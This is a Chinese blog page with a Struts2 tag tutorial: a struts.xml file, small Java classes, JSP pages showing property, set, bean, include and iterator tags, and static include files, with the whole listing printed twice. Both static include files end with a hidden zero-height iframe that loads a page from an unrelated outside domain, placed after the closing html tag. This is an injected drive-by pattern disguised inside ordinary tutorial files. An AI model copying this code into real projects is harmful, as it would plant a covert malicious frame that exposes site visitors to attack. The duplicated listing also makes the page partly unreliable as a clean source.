- 浏览: 728439 次
- 性别:
- 来自: 上海
-
最新评论
-
TheUniqueGirl:
Tomcat系统架构与设计模式:http://www.doci ...
Tomcat -
aykjy:
...
UML常见工具之NetBeans(downmoon) -
不老肖邦:
谢谢提供的简单示例
JAVA toString()
struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<!--<constant name="struts.enable.DynamicMethodInvocation" value="false" />-->
<constant name="struts.devMode" value="true" />
<!--<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant>-->
<constant name="struts.ui.theme" value="simple" />
<package name="tags" extends="struts-default">
<action name="tags" class="com.bjsxt.struts2.tags.TagsAction">
<result>/tags.jsp</result>
</action>
</package>
</struts>
TagsAction.java
package com.bjsxt.struts2.tags;
import com.opensymphony.xwork2.ActionSupport;
public class TagsAction extends ActionSupport {
private String password;
private String username;
public TagsAction() {
}
public String execute() {
this.addFieldError("fielderror.test", "wrong!");
return SUCCESS;
}
public String getPassword() {
return password;
}
public String getUsername() {
return username;
}
public void setPassword(String password) {
this.password = password;
}
public void setUsername(String username) {
this.username = username;
}
}
User.java
package com.bjsxt.struts2.tags;
public class User {
private int age = 8;
public User() {
}
public User(int age) {
super();
this.age = age;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "user" + age;
}
}
Dog.java
package com.bjsxt.struts2.tags;
public class Dog {
private String name;
public Dog() {
}
public Dog(String name) {
super();
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public String toString() {
return "dog: " + name;
}
}
S.java
package com.bjsxt.struts2.tags;
public class S {
public static String STR = "STATIC STRING";
public static String s() {
return "static method";
}
}
index.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%
String contextPath = request.getContextPath();
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Insert title here</title>
</head>
<body>
访问属性
<a href="<%=contextPath %>/tags.action?username=u&password=p">tags</a>
</body>
</html>
tags.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ taglib uri="/struts-tags" prefix="s" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Struts-Tags学习</title>
</head>
<body>
<ol>
<li>property: <s:property value="username"/> </li>
<li>property 取值为字符串: <s:property value="'username'"/> </li>
<li>property 设定默认值: <s:property value="admin" default="管理员"/> </li>
<li>property 设定HTML: <s:property value="'<hr/>'" escape="false"/> </li>
<hr />
<li>set 设定adminName值(默认为request 和 ActionContext): <s:set var="adminName" value="username" /></li>
<li>set 从request取值: <s:property value="#request.adminName" /></li>
<li>set 从ActionContext取值: <s:property value="#adminName" /></li>
<%--<li>set 设定范围: <s:set name="adminPassword" value="password" scope="page"/></li>
<li>set 从相应范围取值: <%=pageContext.getAttribute("adminPassword") %></li>
--%>
<li>set 设定var,范围为ActionContext: <s:set var="adminPassword" value="password" scope="session"/></li>
<li>set 使用#取值: <s:property value="#adminPassword"/> </li>
<li>set 从相应范围取值: <s:property value="#session.adminPassword"/> </li>
<hr />
<%--<li>push:<s:set name="myDog" value="new com.bjsxt.struts2.ognl.Dog('oudy')"></s:set></li>
<li>
push:<s:push value="#myDog">
<s:property value="name"/>
</s:push>
</li>
<li>push: <s:property value="name"/></li>
--%>
<hr />
<li>bean 定义bean,并使用param来设定新的属性值:
<s:bean name="com.bjsxt.struts2.tags.Dog" >
<s:param name="name" value="'pp'"></s:param>
<s:property value="name"/>
</s:bean>
</li>
<li>bean 查看debug情况:
<s:bean name="com.bjsxt.struts2.tags.Dog" var="myDog">
<s:param name="name" value="'oudy'"></s:param>
</s:bean>
拿出值:
<s:property value="#myDog.name"/>
</li>
<hr />
<!-- include标签少用 -->
<li>include _include1.html 包含静态英文文件
<s:include value="/_include1.html"></s:include>
</li>
<li>include _include2.html 包含静态中文文件
<s:include value="/_include2.html"></s:include>
</li>
<li>include _include1.html 包含静态英文文件,说明%用法,%{}将里面的内容强制转换成0ngl表达式
<s:set var="incPage" value="%{'/_include1.html'}" />
<s:include value="%{#incPage}"></s:include>
</li>
<hr />
<li>if elseif else:
age = <s:property value="#parameters.age[0]" /> <br />
<s:set var="age" value="#parameters.age[0]" />
<s:if test="#age < 0">wrong age!</s:if>
<s:elseif test="#parameters.age[0] < 20">too young!</s:elseif>
<s:else>yeah!</s:else><br />
<s:if test="#parameters.aaa == null">null</s:if>
</li>
<hr />
<li>遍历集合:<br />
<s:iterator value="{1, 2, 3}" >
<s:property/> |
</s:iterator>
</li>
<li>自定义变量:<br />
<s:iterator value="{'aaa', 'bbb', 'ccc'}" var="x">
<s:property value="#x.toUpperCase()"/> |
</s:iterator>
</li>
<li>使用status:<br />
<s:iterator value="{'aaa', 'bbb', 'ccc'}" status="status">
<s:property/> |
遍历过的元素总数:<s:property value="#status.count"/> |
遍历过的元素索引:<s:property value="#status.index"/> |
当前是偶数?:<s:property value="#status.even"/> |
当前是奇数?:<s:property value="#status.odd"/> |
是第一个元素吗?:<s:property value="#status.first"/> |
是最后一个元素吗?:<s:property value="#status.last"/>
<br />
</s:iterator>
</li>
<li>
<s:iterator value="#{1:'a', 2:'b', 3:'c'}" >
<s:property value="key"/> | <s:property value="value"/> <br />
</s:iterator>
</li>
<li>
<s:iterator value="#{1:'a', 2:'b', 3:'c'}" var="x">
<s:property value="#x.key"/> | <s:property value="#x.value"/> <br />
</s:iterator>
</li>
<li>
<s:fielderror fieldName="fielderror.test" theme="simple"></s:fielderror>
</li>
</ol>
</body>
</html>
_include.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ taglib uri="/struts-tags" prefix="s" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>_include</title>
</head>
<body>
params :<br />
使用property取参数:p1=<s:property value="#parameters.p1"/> <br />
使用property取参数:p2=<s:property value="#parameters.p2"/> <br />
使用property取参数:p3=<s:property value="#parameters.p3"/> <br />
</body>
</html>
_include1.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>_include1.html</title>
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=GB18030">
<!--<link rel="stylesheet" type="text/css" href="./styles.css">-->
</head>
<body>
This is my _include1 page. <br>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>
_include2.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>_include1.html</title>
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=GB18030">
<!--<link rel="stylesheet" type="text/css" href="./styles.css">-->
</head>
<body>中文 <br>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<!--<constant name="struts.enable.DynamicMethodInvocation" value="false" />-->
<constant name="struts.devMode" value="true" />
<!--<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant>-->
<constant name="struts.ui.theme" value="simple" />
<package name="tags" extends="struts-default">
<action name="tags" class="com.bjsxt.struts2.tags.TagsAction">
<result>/tags.jsp</result>
</action>
</package>
</struts>
TagsAction.java
package com.bjsxt.struts2.tags;
import com.opensymphony.xwork2.ActionSupport;
public class TagsAction extends ActionSupport {
private String password;
private String username;
public TagsAction() {
}
public String execute() {
this.addFieldError("fielderror.test", "wrong!");
return SUCCESS;
}
public String getPassword() {
return password;
}
public String getUsername() {
return username;
}
public void setPassword(String password) {
this.password = password;
}
public void setUsername(String username) {
this.username = username;
}
}
User.java
package com.bjsxt.struts2.tags;
public class User {
private int age = 8;
public User() {
}
public User(int age) {
super();
this.age = age;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "user" + age;
}
}
Dog.java
package com.bjsxt.struts2.tags;
public class Dog {
private String name;
public Dog() {
}
public Dog(String name) {
super();
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public String toString() {
return "dog: " + name;
}
}
S.java
package com.bjsxt.struts2.tags;
public class S {
public static String STR = "STATIC STRING";
public static String s() {
return "static method";
}
}
index.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%
String contextPath = request.getContextPath();
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Insert title here</title>
</head>
<body>
访问属性
<a href="<%=contextPath %>/tags.action?username=u&password=p">tags</a>
</body>
</html>
tags.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ taglib uri="/struts-tags" prefix="s" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Struts-Tags学习</title>
</head>
<body>
<ol>
<li>property: <s:property value="username"/> </li>
<li>property 取值为字符串: <s:property value="'username'"/> </li>
<li>property 设定默认值: <s:property value="admin" default="管理员"/> </li>
<li>property 设定HTML: <s:property value="'<hr/>'" escape="false"/> </li>
<hr />
<li>set 设定adminName值(默认为request 和 ActionContext): <s:set var="adminName" value="username" /></li>
<li>set 从request取值: <s:property value="#request.adminName" /></li>
<li>set 从ActionContext取值: <s:property value="#adminName" /></li>
<%--<li>set 设定范围: <s:set name="adminPassword" value="password" scope="page"/></li>
<li>set 从相应范围取值: <%=pageContext.getAttribute("adminPassword") %></li>
--%>
<li>set 设定var,范围为ActionContext: <s:set var="adminPassword" value="password" scope="session"/></li>
<li>set 使用#取值: <s:property value="#adminPassword"/> </li>
<li>set 从相应范围取值: <s:property value="#session.adminPassword"/> </li>
<hr />
<%--<li>push:<s:set name="myDog" value="new com.bjsxt.struts2.ognl.Dog('oudy')"></s:set></li>
<li>
push:<s:push value="#myDog">
<s:property value="name"/>
</s:push>
</li>
<li>push: <s:property value="name"/></li>
--%>
<hr />
<li>bean 定义bean,并使用param来设定新的属性值:
<s:bean name="com.bjsxt.struts2.tags.Dog" >
<s:param name="name" value="'pp'"></s:param>
<s:property value="name"/>
</s:bean>
</li>
<li>bean 查看debug情况:
<s:bean name="com.bjsxt.struts2.tags.Dog" var="myDog">
<s:param name="name" value="'oudy'"></s:param>
</s:bean>
拿出值:
<s:property value="#myDog.name"/>
</li>
<hr />
<!-- include标签少用 -->
<li>include _include1.html 包含静态英文文件
<s:include value="/_include1.html"></s:include>
</li>
<li>include _include2.html 包含静态中文文件
<s:include value="/_include2.html"></s:include>
</li>
<li>include _include1.html 包含静态英文文件,说明%用法,%{}将里面的内容强制转换成0ngl表达式
<s:set var="incPage" value="%{'/_include1.html'}" />
<s:include value="%{#incPage}"></s:include>
</li>
<hr />
<li>if elseif else:
age = <s:property value="#parameters.age[0]" /> <br />
<s:set var="age" value="#parameters.age[0]" />
<s:if test="#age < 0">wrong age!</s:if>
<s:elseif test="#parameters.age[0] < 20">too young!</s:elseif>
<s:else>yeah!</s:else><br />
<s:if test="#parameters.aaa == null">null</s:if>
</li>
<hr />
<li>遍历集合:<br />
<s:iterator value="{1, 2, 3}" >
<s:property/> |
</s:iterator>
</li>
<li>自定义变量:<br />
<s:iterator value="{'aaa', 'bbb', 'ccc'}" var="x">
<s:property value="#x.toUpperCase()"/> |
</s:iterator>
</li>
<li>使用status:<br />
<s:iterator value="{'aaa', 'bbb', 'ccc'}" status="status">
<s:property/> |
遍历过的元素总数:<s:property value="#status.count"/> |
遍历过的元素索引:<s:property value="#status.index"/> |
当前是偶数?:<s:property value="#status.even"/> |
当前是奇数?:<s:property value="#status.odd"/> |
是第一个元素吗?:<s:property value="#status.first"/> |
是最后一个元素吗?:<s:property value="#status.last"/>
<br />
</s:iterator>
</li>
<li>
<s:iterator value="#{1:'a', 2:'b', 3:'c'}" >
<s:property value="key"/> | <s:property value="value"/> <br />
</s:iterator>
</li>
<li>
<s:iterator value="#{1:'a', 2:'b', 3:'c'}" var="x">
<s:property value="#x.key"/> | <s:property value="#x.value"/> <br />
</s:iterator>
</li>
<li>
<s:fielderror fieldName="fielderror.test" theme="simple"></s:fielderror>
</li>
</ol>
</body>
</html>
_include.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ taglib uri="/struts-tags" prefix="s" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>_include</title>
</head>
<body>
params :<br />
使用property取参数:p1=<s:property value="#parameters.p1"/> <br />
使用property取参数:p2=<s:property value="#parameters.p2"/> <br />
使用property取参数:p3=<s:property value="#parameters.p3"/> <br />
</body>
</html>
_include1.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>_include1.html</title>
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=GB18030">
<!--<link rel="stylesheet" type="text/css" href="./styles.css">-->
</head>
<body>
This is my _include1 page. <br>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>
_include2.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>_include1.html</title>
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=GB18030">
<!--<link rel="stylesheet" type="text/css" href="./styles.css">-->
</head>
<body>中文 <br>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>
发表评论
-
Myeclipse的tyry catch 怎么让它自动生成
2011-03-21 19:58 1654方法1:选择代码段,右键单击,选择Surround Wit ... -
深入Struts2
2011-02-24 21:24 8201.深入Struts2的配置文件 本部分主要介绍struts ... -
Struts教程
2011-02-24 22:11 1005概述 本文主要讲解什么是Struts Frame ... -
Action接收参数的3种方式(属性,域模型,模型驱动,struts2.1.8)
2011-02-24 22:32 1683常用第一种跟第二种 1.Action属性传参数: ... -
struts2采用域模型方式接收参数
2011-02-24 22:38 1028struts.xml: <struts&g ... -
Hibernate学习笔记(一)--用MyEclipse 6.5+MySQL 5.0的环境跑起来
2011-02-25 14:10 1296准备:建表 用MySQL在名为STMS数据库 ... -
在MyEclipse下如何添加hibernate支持(2)
2011-02-25 14:26 1173在上一篇文章里我们已经成功的为项目添加了hib ... -
在MyEclipse下如何添加hibernate支持(1)
2011-02-25 14:26 1675在网络资源中有很多S2HS整合的文档和教程,但是真正适 ... -
Struts2+Spring+Hibernate搭建全解!
2011-02-26 20:46 782Struts2+Spring+Hibernate是J2 ... -
struts2拦截器详解实例
2011-03-21 16:11 1087struts.xml <?xml version=&qu ... -
Struts2拦截器配置
2011-03-21 11:25 1406拦截器(interceptor)是Struts2最强大的特性之 ... -
Struts2使用之拦截器实例
2011-03-21 11:16 954实例一:防止表单重复提交 防止重复提交:有两种方法:一是使用 ... -
Struts2拦截器配置
2011-03-21 11:11 1309Struts2框架的大部分功能都是通过拦截器来完成的。默认情况 ... -
struts开发小结
2011-03-20 21:27 901<%@ page language="java ... -
数据校验DataValiation
2011-03-20 14:46 918struts.xml <?xml version=&qu ... -
JAVA Calendar详解
2011-03-20 14:00 826(在文章的最后,将会介绍Date类,如果有兴趣,可以直接翻到最 ... -
ongl表达式用法
2011-03-19 21:39 1196struts.xml <?xml version=&qu ... -
action向其他页面传参数
2011-03-19 16:24 1428struts.xml <?xml version=&qu ... -
动态结果集DynamicResult
2011-03-19 16:04 931struts.xml <?xml version=&qu ... -
全局结果集 global-results | extends
2011-03-19 15:53 920struts.xml <?xml version=&qu ...
相关推荐
Struts2的标签库定义在URI为 `/struts-tags` 的命名空间下,主要分为三类:UI标签、非UI标签和AJAX标签。 UI标签主要用来构建用户界面,包括表单标签和非表单标签,如树形视图、选项卡等。表单标签用于创建HTML表单...
#### 小结 通过上述步骤,我们可以成功地在Struts 2中实现文件上传功能。需要注意的是,在实际应用中可能还需要考虑更多的细节,比如文件大小限制、文件类型过滤以及错误处理等。这些额外的功能可以通过调整Struts...
#### 七、小结 通过上述介绍可以看出,Struts2 框架为开发者提供了一套完善的解决方案,包括表单处理、数据验证、异常处理、国际化等重要功能,大大降低了 Web 开发的复杂度,提高了开发效率。对于希望使用 Java ...
### 小结 通过以上知识点的介绍,我们可以看出Struts2框架的强大之处,它不仅简化了Web应用的开发流程,还提供了诸如表单标签、国际化支持、文件上传等功能,大大提高了开发效率。希望这些知识点能够帮助开发者更好...
4、小结 1、struts2对servlet封装(request,response) ,资源调配和资源的映射 2、框架设计的思想 istruts 配置,过滤器,反射 istruts.properties 3、starts2的使用思路 1、jar 2、配置文件 3、常用类 ...
### 六、小结 通过上述介绍,我们了解了如何在Java项目中使用短信接口实现手机绑定功能。这不仅涉及到技术层面的问题,还需要考虑到用户体验和安全性等方面。希望本文能够帮助读者更好地理解和掌握这一知识点。
14.5.2. 小结 14.6. 文档视图(PDF/Excel) 14.6.1. 简介 14.6.2. 配置和安装 14.7. JasperReports 14.7.1. 依赖的资源 14.7.2. 配置 14.7.3. 构造ModelAndView 14.7.4. 使用子报表 14.7.5. 配置Exporter的...
14.5.2. 小结 14.6. 文档视图(PDF/Excel) 14.6.1. 简介 14.6.2. 配置和安装 14.7. JasperReports 14.7.1. 依赖的资源 14.7.2. 配置 14.7.3. 构造ModelAndView 14.7.4. 使用子报表 14.7.5. 配置Exporter的...